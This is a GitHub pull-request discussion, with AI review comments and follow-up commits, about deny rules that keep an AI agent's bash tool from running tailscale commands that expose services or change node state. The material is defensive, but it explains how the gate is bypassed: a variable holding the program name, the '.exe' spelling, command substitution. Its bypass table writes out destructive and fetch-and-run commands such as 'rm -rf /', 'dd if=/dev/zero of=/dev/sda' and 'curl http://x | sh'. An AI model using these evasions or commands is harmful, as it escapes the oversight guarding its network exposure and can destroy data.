Repository navigation
Conversation
Open PR relationship auditThis is a consolidated, point-in-time code-level audit note. It compares complete merge-base diffs and current/merged code; it does not treat a shared topic as duplication or partial coverage as completion. Relationship findings
No PR, Issue, label, branch, or review state was changed by the relationship-note portion of this audit. |
a95b72e to
00b0360
Compare
Design Review (Fable 5, fork) — 🟡 CONCERNSDesign-level review of Design-Verdict: CONCERNS The spec's ReDoS paragraph contradicts the shipped mechanism: no possessive quantifier exists, and the "cost still present catalog-wide" claim is false. WatchThe new [DESIGN-REVIEWED] aec20bf |
First Principles Review (Fable 5, fork) — 🟡 CONCERNSPremise-level review of First-Principles-Verdict: CONCERNS The new security.md paragraph ships a false ReDoS account — "quantified possessively", "cost still present catalog-wide" — contradicted by the diff's own patterns, comment, and description. Not justified as shipped
What this change shipsInventory (10 items) — 8 justifiedIntent: stop the agent's own bash from widening its network exposure through the raw
[FIRST-PRINCIPLES-REVIEWED] aec20bf |
GPT 5.6 Review (fork) — 🔴 changes requested (blocking)Reviewed 1 of 1 blocking finding(s) are security-class and were withheld from adjudication, so the blocking verdict stands. BLOCKING -- src/kiro_crew/security/denied_rules.py:1554 -- shell expansion bypasses all six Tailscale rules FINDING -- src/kiro_crew/security/denied_rules.py:1593 -- [GPT-REVIEWED] aec20bf Adjudication (Opus 5) — is blocking on each finding proportionate?UNBOUNDED (network exposure past a governance ceiling — a service on the public internet, outside the owner-only [ADJUDICATION] aec20bf total=0 uphold=0 downgrade=0 [ADJUDICATION-FENCED] aec20bf fenced=1 flagged=0 |
Opus 5 Review (fork) — ✅ no blocking findingsReviewed Review detailsThe new deny family ships with spec and comment text that contradicts the code it documents — a falsely-claimed ReDoS mitigation, a denied carve-out that exists, and two wrong counts — but no reachable defect in the patterns themselves. FINDING — docs/system-specs/modules/security.md:1005 — the added paragraph says "the flag-run is quantified possessively here" and that the exponential cost "is still present catalog-wide", while the six shipped patterns carry the raw FINDING — src/kiro_crew/security/denied_rules.py:1593 — the node-mutate comment ends "None of these has a read spelling, so there is no carve-out here" directly above a pattern that does carry one, FINDING — docs/system-specs/modules/security.md:1009 — one paragraph restates two counts that are both wrong: "which moves all 117 rules at once" (repeated in the test comment at test/test_denied_commands_security.py:270) against the [OPUS-REVIEWED] aec20bf |
00b0360 to
b79ea3b
Compare
|
Rebased onto main Four files conflicted:
Gates run locally on the changed files: black, isort, flake8, and Please review the resolution. A maintainer push makes the maintainer the last pusher, so a second approver is needed under the repo's last-push rule. Reply if anything looks wrong. |
|
On the blocking finding, and the enforcement-model question behind it. The Two more things came out of measuring rather than reading, and are fixed in the
On the variable-expansion bypass — I do not think this PR can close it, and I None of those rules is one this change wrote. So the tier's limit is that it needs the program name ADJACENT to the verb. A The mechanism to close it generically already exists and is already written: One thing I deliberately did not do. Anchoring these rows at a segment start Each row's |
826c598 to
6ef850e
Compare
… exposure Putting the dashboard on the tailnet is an owner-only, SEL-audited action honouring capabilities.tailnet_origin. Nothing stopped the agent's own bash from reaching the CLI underneath that seam, so six rows deny the raw paths: serve and funnel mutations, the node-state verbs (up, down, set, login, logout, switch, cert, web), drive mutations, file cp, and exit-node connect/disconnect. Read carve-outs keep status, serve status, funnel status, drive list, exit-node list/suggest, file get, netcheck, ping and whois allowed, each \b-anchored so a subcommand merely starting with a read's name is still a mutation. Three things the first pass got wrong, all found by measuring rather than reading. The rows knew only the bare program name, so `tailscale.exe funnel 3000` was ALLOWED while `tailscale funnel 3000` was denied -- all six defeated on Windows by four characters, with the Denied Commands panel still reading "blocked". That is the worse-than-no-rule outcome this family's own scope note warns about. The infinite-spellings argument that justified leaving it covers spellings an attacker COMPOSES; it does not cover the program's own name on another platform, which is finite and which the catalog already enumerates in sandbox-escape-ssh-self. The flag-run sits before the verb, so a post-verb read was not reachable by the existing carve-outs: `tailscale serve --help`, `tailscale set --help` and `tailscale switch --list` were all refused. The last is this family's own way of asking which tailnet a node is on. And the flag-run nests \S+ inside a starred group, so a long run of flags that never reaches a verb backtracks exponentially: 16.7ms at 24 flags, 123ms at 28, 34.9 SECONDS at 40, on a pattern the PreToolUse gate evaluates for every command against input the agent chooses. Quantifying it possessively takes the worst case to 0.01ms. The primitive is shared with 97 other rows which are left alone, so that cost is still present catalog-wide; it is a separate question from this family. The `.*` prefix is kept. Anchoring the rows at a segment start closes the two remaining false refusals (a grep whose ARGUMENT reads as the subcommand), but it also drops `sudo tailscale serve ...` and `/usr/bin/tailscale funnel ...`, both of which the suite pins as denied. Trading real coverage for two false refusals is a maintainer's call and is not made here. The scope note states the boundary rather than implying containment: the tier needs the name adjacent to the verb, so a parameter expansion or a command substitution defeats it, as it defeats every rule in the catalog. Each row's description carries that caveat, because it is the string the Denied Commands UI renders. The six rows carry no quantifier of their own. `_linearize_deny_pattern` rewrites the flag run into its linear-time equivalent before `_DenyMatcher` compiles it, and that rewrite is what executes: measured on the linearized forms, a 40-flag non-matching input costs 0.22 ms against the pattern and 1.9 ms through the full `is_denied` path. A possessive quantifier on top of that is redundant, and it made these six rows the only flag-run rows in the file shaped differently from every other one.
6ef850e to
aec20bf
Compare
|
Rebased onto current Conceded: the possessive quantifiers are goneGPT 5.6 asked for Its stated reason — that I still made the change, because the second half of the finding is right and I was wrong about why.
End-to-end through For the record, because it is the trap here: on the raw (un-linearized) pattern the plain form really is exponential — 449 ms at 14 flags, 3.5 s at 16, 27.5 s at 18, 202 s at 20. That is the measurement behind the original "34.9 s" note, and it is what made the possessive look necessary. It never runs. The linearization is doing the work, so the quantifier was redundant — and it made these six the only flag-run rows in the file shaped differently from every other one, which is First Principles' Item 8. Both close with the same one-character change per row. Corrected: the description described a smaller change than shipsFirst Principles is straightforwardly right. The description said "Three rules", "148 → 151", and an append-only golden "byte-identical for the existing 148". The diff ships six rules, 112 → 118, and a re-serialised golden. I have rewritten that section to match the diff, named all six rows, and stated the family's boundary explicitly ( Accepted and documented: two residualsBoth are now in the description rather than left for a reviewer to find. The program name matches anywhere in the command text. Three real operations are refused, and they are yours, not a user's: I tried anchoring at command position and it is not a drop-in. A variable in program position bypasses the rows. Real, and catalog-wide rather than ours — measured on this branch:
Only rows with an argv-structural floor survive it. The generic remedy exists — One note on the Security Scope ReviewIts header reports "a script-confirmed newly-refused operation", but its body says the opposite: "0 confirmed newly-refused — zero because no classifier verdicts were handed back before this review was captured … my one attempt to run the composite locally was declined by the session's permission gate, not because the boundary came back clean." So the BLOCK is not backed by a script verdict. I am not claiming the lane was wrong to stop. Its three named candidates are exactly the three refusals above, and I confirmed all three independently — so the concern it raised is real even though the confirmation never ran. A re-run on Scope: six rows or three?I have argued above for keeping six, and the honest counter-argument is this: two reviewers independently flagged the scope as undeclared, and GPT 5.6's non-blocking finding asks outright to remove My reason for keeping six anyway is that the complaint is about undeclared scope, not about the rows being wrong — and the Scope Review, which is the lane whose job is over-blocking, wrote that the family "refus[es] the ONE threat the hunk names". The rows are each inside the stated boundary, each has its read carve-out, and removing working protection to match prose that was stale is fixing the wrong artifact. So I fixed the prose. That said, this is your call and I have no attachment to it. If you would rather see the smaller change, say so and I will cut it to the three declared rows — Tests: |
PR triage (2026-10-05): OVERLAPPING, needs merge-order coordination. Recommendation: KEEPI checked head Coverage on main: Breaking change / P0: I found neither. The six rows are user-disableable catalog rows, so they tighten the defaults without removing anything. Kiro Crew's own Overlaps with open PRs. Each is a mechanical collision only. The rules are independent of each other.
Non-blocking doc drift still present at
Suggested next step: fix the doc drift above, then a maintainer picks the order relative to #11347, #16244, #9517 and #15316. |
…ments Two follow-ups to the network-exposure family from #8262. Command position. The rows began with a match-anywhere `.*tailscale` prefix, so a command whose ARGUMENT names a subcommand was refused: `grep -rn "tailscale serve" docs/`, `git log --grep="tailscale funnel"`, a commit message or PR title, `pytest -k "tailscale serve"`, and `echo "Run: sudo tailscale set --operator=$USER"`. The Security Scope Review confirmed seven such read-only operations as newly refused. The rows now share `_TAILSCALE_PROGRAM`, which anchors the name the way `sandbox-escape-ssh-self` anchors `ssh`: start of input, a command separator or a substitution opener, optional opening quotes, at most one wrapper (sudo, env, nohup, exec, command, time, nice, doas, or a leading VAR=value) and an optional path. The wrapper group is `?`-quantified, so it adds no nested repetition, and the flag run is unchanged. Same-line assignments. The rows matched command text only, so a literal assignment in program position (t=tailscale; "$t" funnel 3000) ran the funnel while the rows never saw the name. This was the blocking GPT 5.6 finding on #8262. is_denied now also matches the rows in _NETWORK_EXPOSURE_RULE_PATTERNS against the command with those assignments resolved, using the resolver the ssh-to-self floor already applies (_resolve_line_assignments), segment by segment through the pass-2 quote-normalized views. The copy is scoped to this family, the way the interpreter-concatenation copy is scoped to its two rules. A disabled row stays disabled: only patterns still in the effective set are matched. Command substitution, brace expansion and an assignment from an earlier tool call stay the documented residual; the scope test pins them as open. Also fixes the spec drift the 2026-10-05 triage listed (possessive wording, rule and row counts) and raises the security package line budget by the lines this family adds. Replaces #8262 Co-authored-by: GoZippy <6089645+GoZippy@users.noreply.github.com>
The six network-exposure rows matched command text. Matched anywhere, they refused commands that only NAME a subcommand (grep, git log --grep, commit messages, PR titles); a text pattern also cannot see shell grammar around a real invocation (if true; then tailscale funnel 3000; fi, a variable in program position). exposure_floor._tailscale_exposure_rule judges the argv the shell will run instead. It reuses the self-protection payload walk (separators, reserved words, subshells, $( ) and backticks, sh -c and eval payloads, same-line literal assignments) and the data-consumer exemption, looked through wrappers and their option values, and reads the leading operand against a verb table with exact read carve-outs. It is handed the raw command so assignments resolve case-sensitively (ts and TS differ). For its own frames only, through two default-off hooks on the shared walk, a heredoc body is data unless fed to a shell, and a backtick or $( inside single quotes is literal. Like git-publish, is_denied records which rows are enabled and removes their patterns from the regex tier: the floor is the only enforcement, gated per row. The spec paragraphs and the package line budget follow. Replaces #8262
The six network-exposure rows matched command text. Matched anywhere, they refused commands that only NAME a subcommand (grep, git log --grep, commit messages, PR titles); a text pattern also cannot see shell grammar around a real invocation (if true; then tailscale funnel 3000; fi, a variable in program position). exposure_floor._tailscale_exposure_rule judges the argv the shell will run instead. It reuses the self-protection payload walk (separators, reserved words, subshells, $( ) and backticks, sh -c and eval payloads, same-line literal assignments) and the data-consumer exemption, looked through wrappers and their option values, and reads the leading operand against a verb table with exact read carve-outs. It is handed the raw command so assignments resolve case-sensitively (ts and TS differ). For its own frames only, through two default-off hooks on the shared walk, a heredoc body is data unless fed to a shell, and a backtick or $( inside single quotes is literal. Like git-publish, is_denied records which rows are enabled and removes their patterns from the regex tier: the floor is the only enforcement, gated per row. The spec paragraphs and the package line budget follow. Replaces #8262
The six network-exposure rows matched command text. Matched anywhere, they refused commands that only NAME a subcommand (grep, git log --grep, commit messages, PR titles); a text pattern also cannot see shell grammar around a real invocation (if true; then tailscale funnel 3000; fi, a variable in program position). exposure_floor._tailscale_exposure_rule judges the argv the shell will run instead. It reuses the self-protection payload walk (separators, reserved words, subshells, $( ) and backticks, sh -c and eval payloads, same-line literal assignments) and the data-consumer exemption, looked through wrappers and their option values, and reads the leading operand against a verb table with exact read carve-outs. It is handed the raw command so assignments resolve case-sensitively (ts and TS differ). For its own frames only, through two default-off hooks on the shared walk, a heredoc body is data unless fed to a shell, and a backtick or $( inside single quotes is literal. Like git-publish, is_denied records which rows are enabled and removes their patterns from the regex tier: the floor is the only enforcement, gated per row. The spec paragraphs and the package line budget follow. Replaces #8262
The six network-exposure rows matched command text. Matched anywhere, they refused commands that only NAME a subcommand (grep, git log --grep, commit messages, PR titles); a text pattern also cannot see shell grammar around a real invocation (if true; then tailscale funnel 3000; fi, a variable in program position). exposure_floor._tailscale_exposure_rule mirrors the self-protection subcommand floor on the unchanged shared payload walk: every token whose basename is tailscale is a candidate unless it is an argument of a data consumer, and its leading operands are read against a verb table with exact read carve-outs. It is position-blind and fails closed, like the floors already on main, so glued separators, leading redirects, reserved words and heredocs fed to a shell cannot move the program out of view; it inherits their over-refusals (git grep, docker compose, heredoc and single-quoted backtick bodies read as commands), which are shared-walk gaps. It is handed the raw command so assignments resolve case-sensitively (ts and TS differ), scans past a disabled row, cuts a redirect glued to the verb, and expands a brace verb with a depth cap. Like git-publish, is_denied records which rows are enabled and removes their patterns from the regex tier: the floor is the only enforcement, gated per row. The spec paragraphs and the package line budget follow. Replaces #8262
The six network-exposure rows matched command text. Matched anywhere, they refused commands that only NAME a subcommand (grep, git log --grep, commit messages, PR titles); a text pattern also cannot see shell grammar around a real invocation (if true; then tailscale funnel 3000; fi, a variable in program position). exposure_floor._tailscale_exposure_rule mirrors the self-protection subcommand floor on the unchanged shared payload walk: every token whose basename is tailscale is a candidate unless it is an argument of a data consumer, and its leading operands are read against a verb table with exact read carve-outs. It is position-blind and fails closed, like the floors already on main, so glued separators, leading redirects, reserved words and heredocs fed to a shell cannot move the program out of view; it inherits their over-refusals (git grep, docker compose, heredoc and single-quoted backtick bodies read as commands), which are shared-walk gaps. It is handed the raw command so assignments resolve case-sensitively (ts and TS differ), scans past a disabled row, cuts a redirect glued to the verb, and brace-expands the first two operands with a depth cap, failing closed when an expansion cannot be computed. A read is the word right after the verb; there is no --help carve-out. The family is narrowed to what WIDENS exposure: the exit-node row and the down verb are dropped (they narrow exposure or move egress). Like git-publish, is_denied records which rows are enabled and removes their patterns from the regex tier: the floor is the only enforcement, gated per row. The spec paragraphs and the package line budget follow. Replaces #8262
|
Closing in favour of #21149, which carries this work forward properly. #21149 cherry-picks the rows commit with One result from over there worth recording here, because it closes out a Everything of substance here lives on #21149 — the six rows, the Windows Thanks to @iamwhatever for carrying it over with the authorship kept, and to |
Problem / Motivation
No
DeniedCommandRuleinBUILTIN_DENIED_RULESnamestailscale. Putting thedashboard on the tailnet is a governed action —
tailnet_serve.publish()isowner-only, SEL-audited, and honours
capabilities.tailnet_origin— but thatgovernance lives at the dashboard/CLI seam. The raw
tailscaleCLI sits belowit, and the agent has a bash tool. So from bash the agent can run
tailscale serveto publish the dashboard,tailscale funnelto expose a localservice to the public internet, or
tailscale up/setto enable an SSHserver or advertise this node as an exit/subnet router — every one of them
bypassing
publish()and its governance pin.Why it matters
"The agent can never widen its own network exposure" is a security invariant the
governed publish path is built to uphold, and today a single bash call defeats
it.
tailscale funnelis the sharpest case: it makes a local service reachablefrom the open internet, with no governance gate in the path. On Windows there is
no OS sandbox beneath the bash tool to catch it either.
What changed (motivation → approach → change)
Root cause. Governance for tailnet exposure is enforced at
publish(), not atthe command layer, and the denied-command gate — the one place that does sit on
the agent's bash — had no rule for
tailscale.Approach. Add a
network-exposuredenied-command family that blocks themutating
tailscalesubcommands at the samehooks.pyPreToolUse gate as everyother denied command, while keeping the read subcommands the status card and any
diagnostic tooling rely on. Reuse the existing linearized flag-run idiom
(
tailscale(?:\s+--?…)*\s+<verb>) so_linearize_deny_patternkeeps thepatterns ReDoS-safe, exactly like the AWS and self-protection rules — the rows
carry no quantifier of their own, and the linearized rewrite is what
_DenyMatchercompiles and runs. A(?!\s+status)carve-out onserve/funnelpreservesserve status/funnel status.Change. Six rules (category
network-exposure). An earlier revision of thisdescription said three; the diff has shipped six since the
.exeand Taildropreview rounds, and this list is now the diff:
network-exposure-tailscale-serve—tailscale servemutations (publish/withdraw);
serve statusstays allowed.network-exposure-tailscale-funnel—tailscale funnel(public-internetexposure);
funnel statusstays allowed.network-exposure-tailscale-node-mutate—up/down/set/login/logout/switch/cert/web.network-exposure-tailscale-drive—drive share/unshare(a filesystemexposed over the tailnet);
drive liststays allowed.network-exposure-tailscale-file-cp— Taildrop sends off this node.network-exposure-tailscale-exit-node—exit-node connect(this node'straffic rerouted through another);
exit-node list/suggeststay allowed.Every row carries
(?:\.exe)?so the Windows spelling is covered on both thedeny side and the read carve-outs.
The boundary is network EXPOSURE, not "every tailscale mutation":
drive shareand
exit-node connectare inside it,configure kubeconfig(writes a localfile) is outside it and stays allowed.
Kiro Crew's own publish path is unaffected:
tailnet_serve._runspawnstailscaleviasubprocess.rundirectly, never through thehooks.pygate, sokirocrew tailnet upand the Phone-access card keep working. Reads (status,serve status,netcheck,ping,whois) stay allowed.Tests
test/test_denied_commands_security.py::TestCatalog::test_tailscale_network_exposure_familyasserts the deny/allow matrix: 15 mutation forms are blocked (incl. an interposed
top-level flag and a
sudoprefix) and 11 read/incidental forms stay allowed(incl.
serve status --json,funnel status, and the word inside anecho/grep). The catalog count pins move 148 → 151 and the golden manifest gains thesix entries. The count pin moves 112 → 118 on the current base; the golden is
re-serialised rather than append-only, because the family sorts into the middle
of the manifest.
Manual verification
N/A — unit coverage is sufficient: the rules are pure
DeniedCommandRuledataevaluated by the existing gate, and the deny/allow matrix exercises the regex
tier directly. The linearization/ReDoS suite in the same file already covers the
flag-run idiom these patterns reuse.
Related Issues
N/A — no existing issue; hardening found while wiring the Phone-access flow. The
invariant it upholds ("the agent cannot widen its own network exposure") is the
same one the governed
publish()path andcapabilities.tailnet_originalreadyserve at the dashboard seam.
Pattern harvest
Rule candidate: a checklist item rather than a mechanical lint — a capability that is
governed at a high-level seam must also be denied at the command layer whenever a
raw CLI reaches the same effect below that seam. Tailnet exposure is governed at
tailnet_serve.publish()(owner-only, audited,capabilities.tailnet_origin),but the
tailscaleCLI sits under it and the agent has a bash tool — so thegovernance was reachable-around until these deny rules closed it. The
generalizable audit: for each governed capability, ask "is there a CLI/binary
that produces the same effect, and does a
DeniedCommandRulecover it?" Notexpressible as a syntactic pattern (it is a semantic mapping between a governance
seam and a command surface), so it is guidance for the next capability review
rather than a semgrep rule.
Known residuals, accepted deliberately
Two limits ship with this change. Both are stated here rather than argued away,
because a reviewer should not have to find them.
1. The program name is matched anywhere in the command text, not only in
program position. The family reuses the catalog's
.*-prefix idiom, so acommand whose argument contains the phrase is refused. Three real operations
are affected, and they are the maintainers' own:
Anchoring at command position was tried and is not a drop-in:
is_deniedevaluates every pattern against the FULL input in pass 1, and the per-segment
pass exists to isolate a chained invocation, not to supply the anchor. A
correct fix needs the program TOKEN, which
shell_normalizer._argv_programsalready computes and the regex tier does not consume — a change to how the
catalog matches, not to these six rows. That belongs in its own PR.
Until then the operations above are refusable-by-design and overridable by the
owner; #12281 (governed operator-scoped exemptions for always-enforced
deny-floor rules) is the mechanism being built for exactly this.
2. A variable in program position bypasses the rows —
t=tailscale; "$t" funnel 3000is allowed whiletailscale funnel 3000isdenied. This is catalog-wide, not specific to this family; measured on this
branch:
tailscale funnel 3000t=tailscale; "$t" funnel 3000rm -rf /r=rm; $r -rf /dd if=/dev/zero of=/dev/sdad=dd; $d if=…curl http://x | shc=curl; $c http://x | shOnly rows with an argv-structural floor (e.g.
chmod) survive it. The genericremedy already exists —
_resolve_local_assignmentsinshell_normalizer.pyresolves a literal right-hand side and is reached from
_self_tokens, so theargv floor sees through it and the regex tier does not. Widening that to the
catalog is a tier change worth its own PR and review; doing it inside this one
would change ~140 rules' behaviour under the heading of a tailscale fix.
Checklist
docs/system-specs/modules/security.md)